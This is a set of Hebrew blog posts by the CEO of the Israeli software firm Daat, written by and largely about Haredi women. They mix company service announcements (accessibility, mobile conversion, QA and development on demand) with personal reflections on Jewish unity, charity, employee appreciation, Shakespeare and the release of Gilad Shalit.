היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post ארגוני נשים בחברה החרדית. פוסט לכבוד יום האישה הבינלאומי appeared first on דעת.

על מנת להתאים למציאות הדיגיטלית החדשה ולהמשיך לספק ללקוחותינו פתרונות עדכניים, דעת הרחיבה את תחומי פעילותה והשיקה מספר שירותים חדשים המתווספים לשירותי הפיתוח והבדיקות הקיימים בחברה. לקוחות החברה נהנים כעת מסל שירותים מלא ומקיף בתחום הווב המבוצע תחת קורת גג אחת.
אז מה התחדש אצלנו? הפרטים לפניכם…
השירותים החדשים שאנו מציעים ללקוחות החברה:

• הנגשת אתרים – הנגשת האתר כוללת ביצוע התאמות שמטרתן לשפר את חווית הגלישה עבור אנשים בעלי מוגבלויות, למשל בעלי ליקויי ראיה ושמיעה. דעת מבצעת הנגשה אוטומטית של אתרי אינטרנט באמצעות טכנולוגיית User1st המאפשרת התאמה קלה ומהירה של אתרי אינטרנט לתקני נגישות ברמה הנדרשת על פי החוק בישראל (רמה AA). באתרי אינטרנט גדולים ומורכבים, למשל בעלי מספר רב מאד של דפים ותכנים המועלים ללא בקרה של המפתחים הנגשה ידנית של כל דפי האתר היא פתרון כמעט בלתי אפשרי ליישום. הנגשה אוטומטית מפשטת את התהליך ומאפשרת ליצור שכבת נגישות ללא התערבות בקוד המקורי של האתר.

דעת כבר הנגישה את אתרי האינטרנט של בנק לאומי, שופרסל, סלקום, סלקום TV ועוד.

על מנת להתאים למציאות הדיגיטלית החדשה ולהמשיך לספק ללקוחותינו פתרונות עדכניים, דעת הרחיבה את תחומי פעילותה והשיקה מספר שירותים חדשים המתווספים לשירותי הפיתוח והבדיקות הקיימים בחברה. לקוחות החברה נהנים כעת מסל שירותים מלא ומקיף בתחום הווב המבוצע תחת קורת גג אחת.

• התאמה למובייל – התאמת אתרי אינטרנט למכשירי מובייל היא צעד הכרחי לאור השימוש הגובר של הגולשים במכשירים ניידים. חברות הבוחרות להתאים את האתר למובייל על ידי מפתחי הארגון מתמודדות עם תהליך ארוך ומורכב המצריך הקצאת משאבים לא מעטים. דעת מספקת מענה לבעיה ומציעה לארגונים המרה אוטומטית ומהירה של אתר האינטרנט למכשירי מובייל באמצעות טכנולוגיית חדשנית ומצליחה בשם Zuznow. Zuznow מספקת פלטפורמה מתוחכמת להמרה של כל אפליקציית ווב לאפליקציית מובייל הכוללת את כל התוכן והפונקציונאליות שבאתר הקיים. עם Zuznow ניתן להפחית ב-90% את העלויות והזמן הדרושים בתהליך ההתאמה של האתר למובייל.

דעת התאימה למובייל את האתרים של קבוצת  שטראוס, לאומי קארד, שילב, ביטוח ישיר ועוד.

• פיתוח לפי דרישה – לאור הצלחת שירות QA on Demand, דעת משיקה מתכונת דומה גם בתחום הפיתוח: Development on Demand. דעת מציעה לחברות שירותי פיתוח לווב לפי דרישה, כלומר בדיוק למשך הזמן הנדרש להן, ללא התחייבות לטווח ארוך וללא צורך בתיאום זמן רב מראש. השירות ניתן במספר מסלולים: שבועי, חודשי, תלת חודשי או לפרק זמן ארוך יותר.

הפרויקטים במודל זה מבוצעים על ידי מתכנתות בעלות התמחות בפיתוח צד לקוח (Client Side), הכוללת בניית ממשקי משתמש (UI) מורכבים מבחינת העיצוב והפונקציונאליות, ויצירת אתרים רספונסיביים, בהם עיצוב האתר מגיב ומתאים עצמו למסכים השונים של מכשירי המובייל.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post דעת במציאות החדשה appeared first on דעת.

הרב הציע להם להצטרף לפרוייקט קהילתי ראשון מסוגו אשר מטרתו העיקרית לאחד בין יהודים מכל גווני הקשת:´פרויקט השבת העולמית´.

הרב הראשי של דרום אפריקה, הרב וורנר גולדשטיין, קרא ליהודי דרום אפריקה , מכל העדות, המגזרים ורמות "הדתיות", להתאחד יחדיו בקיום מצוות השבת ולשמור שבת אחת כהלכתה. תוצאות היוזמה היו מפתיעות למדי. לפרויקט חוצה המגזרים הצטרפו רוב יהודי דרום אפריקה, אשר לרבים מהם הייתה זו הפעם הראשונה שטעמו בחייהם טעם שבת אמיתית מהו.

הרב וורנר גולדשטיין לא צפה את התוצאות. אלפי יהודי דרום אפריקה בעשר ערים שונות התארגנו והתכוננו לשמירת השבת, החל מכתיבת מדריך לשמירת שבת כהלכתה והתארגנות לאירוח משפחות מאזורים מרוחקים, דרך אפיית חלות משותפת,תפילות וברכות,וכלה בטקס הבדלה מרגש.

הסרטון המומלץ ביותר לצפייה מציג את ההתראגנות וההירתמות, העשייה והחוויה המשותפת של יהודי דרום אפריקה, ללא התייחסות לרמתו הדתית של איש מן המשתתפים.

לי זה מזכיר את ההכנות לקבלת התורה.

עם ישראל,  עם שלם, כאיש אחד, מתכוננים שלושה ימים לקבלת התורה.

עם ישראל, כל אחד לחוד וכולם ביחד, מתרגשים מעצם החוויה הרוחנית דתית והפיזית, מעצם המעמד, עוד לפני תחילתו ,

עם ישראל עומד מגובש למרגלות עם סיני, מאוחד במחשבות, תחושות, משאלות ושאיפות, ומתוך האחדות הזו, מוכן לקבל את התורה.

התורה מדגישה את אחדותם באותה שעה: "ויחן שם ישראל נגד ההר" (שמותיט, ב). הפסוק נוקט בלשון יחיד: "ויחן", לרמוז שבאותה שעה חניית ישראל ביטאה אחדות ולכידות: "כאיש אחד בלב אחד". רק לאחר שבני ישראל הגיעו למדרגה זו של אחווה, יכלו להתקדם למדרגה הגבוהה של קבלת תורה ולהכריז, שוב, ביחד, בלשון יחיד:  "ויענו כל העם יחדיו ויאמרו, כל אשר דיבר ה' נעשה" (שמותיט, ח).

כח ה"יחדיו" הוא זה שאפשר להם לקבל את התורה.

אם עד היום חשבנו שאין סיכוי לאחדות כזו בימינו, שלא ניתן להרכיב תמונה אחת שלמה, אחדות בלב ובנפש בין חלקי הפאזל של דתיים – חילונים – חרדים – ליטאים – חסידים – מזרחיים – אשכנזים – לבנים – שחורים – חומים –ג'ינג'ים – דרומיים – צפונבונים – עירוניים – קיבוצניקים – מושבניקים – מתנחלים – שמאלנים ……., יהודי דרום אפריקה מוכיחים לנו שאנחנו טועים.

אז אולי השנה נכין את עצמנו לקבלת התורה….על ידי הנכונות לקבל איש את רעהו, האחד את האחר? אולי נגיע לחג מתוך עמדה של "ואהבת"?

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post קבלת תורה מודרנית appeared first on דעת.

צ'רלס פלאם, בוגר המכללה הימית של צבא ארה"ב, היה טייס קרב בוייטנאם. לאחר 57 טיסות קרביות, המטוס שלו הושמד ע"י טיל קרקע-אויר.
פלאם פלט את עצמו מהמטוס וצנח לשטח האויב. הוא נשבה ו"בילה" שש שנים ארוכות בכלא קומוניסטי.
הוא שרד.
יום אחד, פלאם ואישתו ישבו במסעדה, ניגש אליהם אדם ואמר: "אתה פלאם! אתה הטסת מטוסי קרב בוייטנאם מנושאת המטוסים "קיטי הוק" והמטוס שלך הופל!".
"איך ידעת?" שאל פלאם.
"אני קיפלתי לך את המצנח", השיב האיש.
פלאם היה המום.
האיש אחז בידו ואמר "נראה שהמצנח נפתח".
"ועוד איך!" אישר פלאם "אם המצנח שלך לא היה נפתח לא הייתי כאן היום".
אותו הלילה לא הצליח פלאם לישון. הוא כל הזמן חשב על מקפל המצנחים, וניסה לדמיין כיצד היה נראה אותו אדם במדי חיל הים שלו על גבי נושאת המטוסים עליה שרתו שניהם.
הוא תהה כמה פעמים חלף על פניו ואפילו לא שם לב אליו או טרח לומר לו בוקר טוב. פלאם היה טייס קרב, והאיש… מלח פשוט. פלאם חשב על השעות הרבות אותן בילה המלח בבטן האונייה, בודק מייתרים ומקפל בקפידה את בד המשי של המצנחים, מחזיק בשתי ידיו, בכל פעם מחדש, את גורלו של אדם שלא הכיר.
פלאם פרסם את ההתנסות שלו ושואל את הקהל בהרצאותיו, "מי מקפל לכם את המצנח?"(מחבר הסיפור אינו ידוע).

על בניית מערכת האתרים, כמו על כל פרויקט אחר שמבוצע בדעת, אמון צוות הכולל מפתחות, בודקות תוכנה ומזינות תוכן. מאות אלפי הגולשים באתרים השונים שפיתחנו, לא חושבים על העבודה שבוצעה על ידי אותו הצוות. למעשה גם משרדי הפרסום ומחלקות השיווק של הלקוחות שלנו לא תמיד מודעים לעבודתן של העובדות העומדות מאחורי הפרויקט. הם לא מודעים למקצועיות, לאיכות לאכפתיות ולמסירות של כל אחת ואחת.
אבל לי זה ברור. עובדות אלו הן מקפלות המצנחים. ולא רק של לקוחות החברה, אלא גם של משפחת דעת כולה.

וזו הזדמנות מצוינת לפנות אליכן, עובדות יקרות, להודות לכן על כל השעות וההשקעה, על כך שבזכותכן התוצרים של "דעת" הם ברמה גבוהה ביותר.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post בנימה אישית appeared first on דעת.

בשונה מדעת, רוב מרכזי הפיתוח החרדיים בחרו למקם עצמם בערים החרדיות, ואין זה מפתיע כיוון שלכולנו נוח יותר להימצא קרוב לבית, בסביבה בה אנו מוקפים ברחובות ובאנשים עם המנטליות המוכרת לנו.

אז למה תל אביב? מדוע דעת בחרה לבדל את עצמה ולמקם את משרדי הפיתוח ובדיקות התוכנה שלה בלב תל אביב?

מספר סיבות חשובות ומשמעותיות הובילו אותנו לצעד זה שאיננו טריוויאלי, בעיקר לא עבור המתכנתות ובודקות התוכנה החרדיות העושות דרכן לתל אביב מדי בוקר.

כחברה העובדת עבור ארגונים וחברות מובילות בישראל, רובם בתל אביב או בסביבתה, למיקום שלנו יש השפעה גדולה לאורך כל תהליך ההתקשרות מול הלקוח.
עבור הלקוח, לא מדובר כאן רק ביתרון הקרבה הפיזית, שבעיקר חוסך לא מעט זמן כאשר יש צורך בקיום פגישות במשרדי דעת – אלא גם בתחושה הנוחה להגיע לסביבה המוכרת לו. לפגוש את החברה החרדית, שגם כך שונה בערכיה מאלו שהוא מכיר, בסביבה הביתית שלו ולא להפך.
אחד המנהלים בארגון מוביל שבחר לעבוד עם דעת, ציין בפני שהוא מאד התרשם מאיכות העבודה ומהסטנדרטים הגבוהים של דעת, יחד עם זאת מה שבסופו של דבר עזר לו להכריע ולבחור בנו היה: המיקום.

מלבד הנוחות בעבודה מול לקוחותינו, המיקום של דעת הוא בסמוך למשרדי חברת האם, ריל קומרס, חברת אסטרטגיה ופיתוח בטכנולוגיות אינטרנט ומובייל מהמובילות בישראל.
אמנם עובדות החברה הן בעלות השכלה גבוהה ממוסדות אקדמאיים המוכרים על ידי משרד החינוך, אם כי בתחום הפיתוח והבדיקות מאד חשוב להתעדכן תדיר בחידושים הטכנולוגיים. העבודה בצמוד לריל קומרס, מסייעת לעובדות לקבל הכשרות וליווי מהצוות המקצועי של חברת האם ולשמור על עדכניות הידע המקצועי. על ידי כך בדעת נשמרת רמה מקצועית גבוהה ביותר, בהתאם לסטנדרטים הגבוהים הנהוגים בריל קומרס.
וענין נוסף חיובי בעבודה מול ריל קומרס, הוא השינוי ביחס לעובדות החברה שנוצר במהלך שנות הפעילות של דעת. אם בתחילה ובאופן טבעי ראו את עובדות דעת כקבוצה שונה ונבדלת, בעלת אורח חיים לא מוכר, לאחר מספר חודשי עבודה, התגבשה הערכה רבה לפועלן של העובדות וכבוד רב לאורח חייהן. למעשה כך נוצרה פתיחות אל החרדים, מצד מי שלא הכיר קבוצה זו מקרוב.

אז אם בתחילה חששתי ממיקום חברה חרדית בלב אביב, כיום אני בטוחה שהיה זה הצעד הנכון, גם עבור הלקוחות שלנ.ו וגם עבור העובדות עצמן. הצמיחה המתמדת של החברה היא עדות לכך שדעת במיקום ובכיוון הנכון

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post פיתוח חרדי בלב תל אביב appeared first on דעת.

אם כי לצערנו יש כיום כל כך הרבה נזקקים… פרטיים ומוסדות, משפחות, קהילות שלמות ועוד ועוד. קמפיינים חוצי יבשות מספרים לנו על נזקקים רחוקים ובקשות לתרומות נשמעות ללא הרף, גם לפני שאנו משלמים על מוצר כלשהו בחנות.

ולאור כל זאת, אני שואלת- כיצד נבחר למי לתת?

עניי עירך קודמים

נאמר בהלכות מתנות לעניים, משנה תורה: "עני שהוא קרובו, קודם לכל אדם; ועניי ביתו, קודמין לעניי עירו; ועניי עירו, קודמין לעניי עיר אחרת…"

אז לאחר שדאגתי לביתי שלי, חז"ל הנחילו לנו כלל אצבע: עניי עירך קודמים.

אך מי הם עניי עירי? האם אלו שגרים בעיר שלי פיזית? האם אלו הקרובים אלי רעיונית, למשל בעלי אמונות זהות לשלי? או אולי אלו שקרובים לליבי?

ובעצם, מה עם עניי עיר אחרת? מה עם ילדים באפריקה, ונפגעי אסונות טבע? אם כל אלו שיש ביכולתם לתרום יתרמו לעניי עירם, מי יתרום לאותם נזקקים באזורים שאין מי שיתרום להם?

ניתן להניח כי כאשר ניתנה הקדימות הזו, ידעו חז"ל כי לא בקלות נבחר לתת לעניי עירנו. את העיר שלנו אנו מכירים היטב וגם את העניים שבה. לאדם קל יותר לתת לשונה ממנו, לרחוק, לזה שבעיר אחרת, ועל ידי כך למתג עצמו כמוצלח יותר.

על ידי כך שחז"ל מאדירים את הקרוב, הם למעשה מעלים אותו רגשית לרמה השווה לכל אלו הרחוקים וכך דואגים שלא נתעלם ממנו. ובעיני הכוונה כאן היא לא רק לדאוג לאלו הקרובים אלי פיזית ומתגוררים בעירי, אלא גם לקרובים אלי רעיונית. כאשר אני מזדהה רעיונית עם קבוצה מסוימת, למשל מבחינת אמונה, אנו הופכים לקהילה אחת, מעין עיר וירטואלית, ולכן גם לנזקקים מאותה קבוצה יש קדימות.

חשוב להוסיף כי חז"ל לא התכוונו לשלול נתינה למי שאינו קרוב אלי ונמצא בעיר אחרת. למעשה ישנה חשיבות בחלוקת הצדקה לכמה שיותר נזקקים, וכך אמר הרמב"ם: "כשיתן האדם למי שראוי אלף זהובים בבת אחת לאיש אחד ולאיש אחר לא נתן כלום – לא יעלה בידו מדת הנדיבות במעשה האחד הגדול כמו שמגיע למי שהתנדב אלף זהובים באלף פעמים . ונתן כל זהוב מהם על צד הנדיבות". כלומר, לפי הרמב"ם, עדיף לתת לכל אחד מ-1000 נזקקים שקל, מאשר לתת 1000 שקלים לנזקק אחד…

וכאשר אני כבר מעוניינת לסייע לעניי עירי תחילה, פיזית ורעיונית, ולכמה שיותר, נראה כי עלי להיות בעלת ממון רב כדי לסייע לכולם. למעשה זה לא מחייב כלל, שכן ידוע כי שמונה מעלות יש לה לצדקה והמעלה הגדולה מכולן היא דאגה לפרנסה לנזקקים. זוהי מעלה יפה המראה כמה חשוב לרומם כל אדם, כך שלא נדאג לרווחתו רק בהווה, אלא גם לכך שלא יזדקק לעזרה מהזולת בעתיד.

תרומה לקהילה

הקפדה על "עניי עירך קודמים" ותרומה לכמה שיותר נזקקים לא רק מסייעת לכל אינדיבידואל שנזקק. יש כאן גם תרומה לכלל, לקהילה כולה.

"קהילה" נוצרת מגרעין חברתי חזק, מקשרים רבי שנים ומחיבור רעיוני משותף. תרומה למי שקרוב אלינו באמת, קרוב לבית, בלי אגו וגאווה, ומתוך אכפתיות, מחזקת את הקשרים שבין איש לרעהו בקהילה, יוצרת אחווה ושיתוף, וקהילה הרבה יותר מאוחדת ושוויונית.

וחרדיים אני מאמינה שיש ביכולתינו ליצור מקומות עבודה לנשים דתיות וחרדיות. אנו שמכירים את צרכיהן של הנשים ואת הלך רוחן, את יכולותיהן המעולות ואת מסירותן הרבה. אם נשכיל להקים ולמנף מקומות עבודה כאלו, הרי ניצור חברה שוויונית ופעילה ועל ידי כך לא רק שנתרום לקרובים אלינו, לעניי עירנו מבחינה רעיונית ואולי גם פיזית, אלא גם נממש את המעלה הגדולה ביותר של הצדקה. 

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post צדקה מתחילה מהבית appeared first on דעת.

משחק או עבודה

"כל העולם במה, וכל אנשיו ונשותיו שחקנים הם. יש להם את כניסותיהם ואת יציאותיהם, ואדם אחד משחק תפקידים רבים." (שייקספיר, 'כטוב בעיניכם' )

רוב מחזותיו וכתביו של וויליאם שייקספיר, עוסקים במהות החיים, או במדויק יותר – בבירור תכלית החיים באופן כזה או אחר. המוטיב החוזר ביצירותיו הוא ללא ספק אפסותו של האדם, הנתון לחסדי גורלו הקבוע מראש והטראגי ברוב המקרים, ללא כל יכולת להשפיע על מהלך השתלשלות (או במקרה של שייקספיר, התדרדרות) העניינים

למעשה, בניגוד לתפיסתו של שייקספיר, לא "כל העולם במה", ואנחנו… לא תמיד שחקנים שאין ביכולתם להשפיע על השתלשלות העניינים.

בשונה מהעבודה החיצונית, למשל במשרד, המכתיבה לנו לשחק על הבמה לקול תרועות הקהל/הלקוחות, בעבודה הפנימית, על עצמי, אני באמת יכולה לשנות משהו, שכן אינני בתפקיד השחקנית. וזוהי העבודה הקשה יותר, כיוון שקל יותר לשחק על הבמה מאשר לעבוד בבית. על הבמה זה משחק. בבית זו עבודה.

העבודה על אתר "דעת" היא דוגמא לעבודה שבאה בפנים, שכן היא מייצגת במידה רבה את עצמי, את העובדות ואת המהות של "דעת". הפעם ללא צורך להתאים עצמנו לדרישות הלקוח. הפעם אנו לא שחקנים.

עד כמה שזה יכול להישמע מוזר, החיים שלנו הם כמו מחזה שנכתב מראש, שכן כולנו נמצאים במסלולים מסוימים המתווים לנו את הדרך בה נלך וכולנו נולדנו עם מידות מסוימות הטבועות בנו. התסריט קיים, השחקנים נוכחים, העלילה כבר ידועה. יחד עם זאת, ניתנה לנו זכות אחת נדירה: לשבת על כיסא הבמאי, לשער לפני כולם את סופו של המחזה, ולשנות אותו באופן בו נוכל לשפר את דרכנו ולתקן את עצמנו, בהתאם ליעדים שהצבנו.

אינני נביאה, ואינני יודעת מה יילד יום, אך בדרך כלל אני נמצאת על מפת אירועים כלשהי, מתוכננת להיום, למחר ולשבוע הבא. אם אני רוצה שהתשבץ יראה אחרת, אני יכולה להחליט על שינוי התוואי, ולהתחיל להתקדם אל עבר היעד.
כיצד? על ידי עבודה, להבדיל ממשחק.

העבודה הפנימית הזו שבאמצעותה אני מתקדמת אל היעדים שהצבתי לעצמי, היא שממקמת אותי "מעל הבמה", כמישהי שבניגוד לתפיסה של שייקספיר, בעלת השפעה על השתלשלות העניינים.

אם נצליח להתעלות אל מעל הבמה; אם נדאג לעצמנו ונשקיע בכך מאמצים; אם נצליח להיות ממוקדי מטרות עבור עצמינו; אם נעצור מידי פעם את מרוץ החיים על מנת לבדוק היכן אנו נמצאים מול המטרה שהצבנו לעצמינו – אזי בניגוד לגיבוריו הטראגיים של שייקספיר, נוכל  להיות הבימאים של חיינו אנו.
משם ואילך השמים הם הגבול.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post כל העולם במה appeared first on דעת.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post התנדבות appeared first on דעת.

חברת "דעת" השיקה בימים אלה שירות חדשני בתחום בדיקות התוכנה – QA on demand. בשיטת QA on demand יכולות חברות ליהנות משירותי בדיקות תוכנה, המותאמים באופן אישי לפעילות, לדרישות, לקצב ולצרכים שלהן. מבחינה מעשית, פירוש הדבר הוא, שחברה הזקוקה לשירותי בדיקות תוכנה מפעם לפעם ובאופן חלקי, איננה צריכה עוד להעסיק עובד במשרה מלאה ובאופן קבוע, לשלם משכורת והוצאות נלוות, ולנסות למצוא לו תעסוקה חלופית בזמנו הפנוי. בשיטת ה-QA on demand של חברת "דעת" ניתן לרכוש זמן בדיקות תוכנה בדיוק בהתאם לצרכים ולא מעבר לכך.

לחזור למודל צרכנות נבונה יותר

תרבות השפע במציאות המודרנית שינתה מאוד את הרגלי הצריכה שלנו, וכפתה עלינו לא מעט הוצאות שאינן מחויבות המציאות. לפני שנים לא רבות ניתן היה עדיין לקנות on demand – בהתאם לצורך ולא מעבר לכך, אפילו בתחומים יומיומיים, כדוגמת צריכת מוצרי מזון. פעם יכלו הסבים והסבתות שלנו לקנות במכולת כמה ביצים בודדות או אפילו ביצה אחת, אם רצו בכך. היום כולנו חייבים לקנות תבניות של 12 ביצים לפחות, אפילו אם דינן של חלק מהביצים הוא לסיים בסל האשפה כמה שבועות מאוחר יותר. פעם ניתן היה לקנות כמעט כל מוצר לפי משקל, בתפזורת או אפילו ביחידות בודדות. והיום המצב שונה לחלוטין; היום רשתות השיווק, החברות והיצרנים לרוב אינם נותנים לנו בחירה חופשית מבחינת היקף הצריכה. יתרה מכך, רשתות השיווק והחברות מעודדות אותנו לרכוש מוצרים מעבר לנדרש במבצעי 1+1, באריזות חיסכון ובכמויות גדולות. ולא רק בתחום המזון אלא כמעט בכל תחום אחר שניתן לעלות על הדעת – בביגוד, בהנעלה, בכרטיסים למופעים, בכרטיסים לאטרקציות שונות, בחופשות … העיקר שנוציא כסף ושנרכוש עוד ועוד ועוד מוצרי צריכה. פעם, מקובל היה לקנות נעלים או סנדלים רק לאחר שהקודמים התבלו לחלוטין ויצאו מכלל שימוש, זוג ליום חול וזוג לשבת. היום קונים נעלים בלי קשר לצורך ממשי. הנה, אתמול קניתי לעצמי זוג סנדלים חדשות במבצע, כדי שיהיה עוד זוג בארון…הרי זה ממש זול…

היקף המבצעים המפתים, לכאורה, יצא מכלל שליטה עד שאפילו השר להגנת הסביבה, גלעד אדרן, הביע התנגדות חריפה למצב: (http://www.nrg.co.il/online/1/ART2/253/270.html?hp=1&cat=459 ).

בפועל, זה לא מחויב המציאות! תארו לעצמכם שניתן היה לקנות תבניות קטנות של שש ביצים או אפילו פחות, תארו לעצמכם שניתן היה לקנות חצי לחם טרי כמו פעם, לקנות אריזות קטנות של גבינה, או לקנות כל מוצר מזון אחר בדיוק לפי הצורך…ומדוע בעצם אין זה אפשרי?

כמה פשוט, כמה אלגנטי, כמה חכם וכמה חבל שאין שירות דומה גם בתחומים אחרים

אפשר גם אחרת. אפשר פשוט, לדרוש, לרכוש ולקבל מוצרים בשיטת On demand, שהוכיחה עצמה כבר בעבר. לקנות במעדניית הסופר מאפים לפי משקל, לדרוש לייצר אריזות קטנות יותר, והכי חשוב, גם כשיש מבצעים, לדעת שלפעמים עדיף שלא לקנות. באותה שיטה ניתן גם לרכוש שירותי בדיקות תוכנה.

חברת "דעת" יצרה מודל התקשרות חדש וגמיש, המאפשר לחברות גדולות וקטנות ליהנות משירותי בדיקות תוכנה יומיים, שבועיים, חודשיים או תלת חודשיים, ללא מחויבות ובהתראה קצרה בשיטת QA on Demand. התקשרות באמצעות מודל זה מאפשרת לחברות להשתמש בשירותי הבדיקות בדיוק לפי הצורך וללא כל התחייבות לטווח ארוך. בשיטה זו ניתן גם לעבור ממסלול אחד למשנהו ולקבל תגבור בתקופות לחץ, לפי הצורך.

ולסיכום, אנו מזמינות אתכם להיות חלק מהמהפכה הצרכנית של חברת "דעת" וליהנות משירותי בדיקות תוכנה מקצועיים המותאמים אישית לצרכים שלכם.

נילי דוידוביץ | מנכ"ל דעת

היזמת והמנכ"לית של 'דעת'. הקמתי את החברה כדי להוכיח שאפשר (וצריך) לשלב בין קריירה טכנולוגית משמעותית לבין אורח חיים ומשפחה. בבלוג הזה אני משתפת מהתובנות שלי על ניהול, טכנולוגיה ועל הניסיון היומיומי למצוא את האיזון הנכון בתוך 'רוחב הפס' של החיים.

The post QA on demand – שירותי בדיקות תוכנה לפי דרישה appeared first on דעת.

מצד אחד, נתון היה לבי להורים ולמשפחה – הנה התחלפו לפתע הייאוש של חמש שנים וארבעה חודשים בשבי הבור האפל בתקווה לחירות, הדאגה מורטת העצמות בשמחת השחרור והחשש מהבאות בוודאות המפגש הממשמש ובא. החוסן, הנחישות והמאבק הבלתי נלאה לאורך חמש שנים ארוכות הם ללא ספק עדות לאצילות הנפש של בני הזוג ולאישיות ראויה להערצה. המלחמה המייאשת והיומיומית בדעת הקהל, בביקורת הקשה של המתנגדים ובממסד איננה מובנת מאליה; הטלטלה בין ייאוש כבד לתקווה והכוח לאסוף את השברים, לקום כל בוקר מחדש ולא להיכנע לפסימיות ולחולשה, הם עדות לכוחות נפש עצומים, הנובעים ממעיין אהבת הורים שאיננה יודעת גבולות.

מצד שני, נתון היה לבי גם למשפחות השכולות – האובדן הנורא שאין עליו פיצוי מול שחרור המרצחים וחזרתם אל שגרת החיים, למרות עשרות או אפילו מאות שנות מאסר שנגזרו עליהם. הידיעה, כי חוט חייהם של היקרים להם מכול נגדע בשבריר שנייה אחת של טרור רצחני, והם לא יישובו לעולם לחיים, בעוד שהמרצחים הנוראים חוגגים את שחרורם, אינם מביעים כל חרטה על מעשיהם ומתקבלים כגיבורים וכלוחמי חירות, היא ללא ספק קשה, מכאיבה ואיננה נותנת מנוח.

אתמול ביקר נשיא המדינה, שמעון פרס, את משפחת שליט והביע את ערכתו ואת תמיהתו הכנה מול כוחות הנפש העצומים של גלעד, שבילה בבור הכלא כמעט חמש וחצי שנים ולא איבד את התקווה. גם אביבה ונעם לא איבדו את התקווה וניהלו מאבק יומיומי במשך חמש וחצי שנים; מאבק בו כל יום היה קשה יותר מקודמו. ושאלתי את עצמי, מהיכן שאבו ההורים את תעצומות הנפש להיאבק ולא להתייאש זמן ממושך כל-כך? והתשובה הייתה, האהבה העזה לבנם.

לפני כמה שבועות קראתי מאמר על אהבת אם לילדיה ועל חינוכם. כותבת המאמר סיפרה על דיון מוסרי וחינוכי בו לקחה חלק. בדיון שיתפה הכותבת את המשתתפים האחרים בעמדתה האישית, לפיה אם בנה ירצח אדם, היא תתנתק ממנו ולא תבוא לבקרו בכלא. הכותבת שיתפה גם את בנה בעמדה זו, במטרה להציב לו גבולות במסגרת ערכי החינוך בהם היא מאמינה. לדעתי, גבולותיה של כותבת המאמר אינם גבולות המעשים של בנה אלא גבולות האהבה שלה. לעומתה, אביבה ונעם שליט לא היו אומרים משפט שכזה, שהרי כוחם ועוצמת מאבקם נבעו ישירות מהאהבה ללא גבולות לבנם.

ולבסוף, "שלושה שותפים לו לאדם, אביו, אימו והקב"ה". הקשר של ההורים ובייחוד של האם אל ה"שותף השלישי", הקב"ה, בא לידי ביטוי בתפילה. באחד מהמשפטים המפורסמים שהתנהלו בבית הדין הרבני, תבעה אם את ראש הישיבה בה התחנך בנה. ומעשה שהיה כך היה; האם שהתגוררה בחו"ל שלחה את בנה ללמוד בישיבה בעיר בני-ברק. הבן השקיע והצליח מאוד בלימודיו אך יום אחד חלה ונפל למשכב. ראש הישיבה לקח אחריות על התלמיד החולה וטיפל בו כאילו היה בנו: דאג למנוחתו, לטיפולים השונים, לנטילת התרופות הנחוצות, ולא חסך ממנו דבר, כולל ביקורים של רופאים פרטיים, שעלו לו כסף רב. אך לרוע המזל, באופן בלתי צפוי החמיר מצבו של התלמיד והוא נפטר בפתאומיות. האם הכואבת והנסערת לא הבינה מדוע הסתיר ממנה ראש הישיבה את מצבו של בנה. לשאלתה, ענה ראש הישיבה בזו הלשון: "אני מבין את כאבך, אך עשיתי הכול למען בנך, טיפלתי בו, קניתי עבורו תרופות, לקחתי אותו לטובי הרופאים, ולא היה דבר שאת היית עושה, שלא עשיתי בעצמי". ענתה לו האם: "אכן, עשית הכול למענו, פעלת בדיוק כפי שאני הייתי פועלת, אך דבר אחד לא יכולת לעשות, והוא להתפלל עליו תפילה של אימא. כי תפילה של אימא מבקיעה גם רקיעים".

